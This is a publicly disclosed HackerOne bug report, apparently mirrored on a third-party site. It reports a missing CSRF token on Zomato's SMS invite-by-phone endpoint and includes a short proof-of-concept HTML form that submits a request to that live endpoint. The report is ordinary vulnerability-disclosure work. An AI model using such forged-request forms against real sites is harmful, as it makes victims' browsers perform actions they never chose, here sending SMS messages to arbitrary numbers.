HexBrain
Open on HackerOneSign in

Eternal · Report #113865

CSRF AT INVITING PEOPLE THOUGH PHONE NUMBER

Validstatus
5upvotes
14 Sept 2016disclosed

How it was found

Hello,

Please Add CSRF Token While Inviting The User Though Phone Number , You Have Good Rate Limit Protection But At The Same Time Add CSRF TOKEN :-

CODE :-

<html> <body> <form action="https://www.zomato.com/php/restaurantSmsHandler"> <input type="hidden" name="type" value="zomato&#45;app&#45;details" /> <input type="hidden" name="mobile&#95;no" value="xxxxxxxxxxxxxx" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Thanks!

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original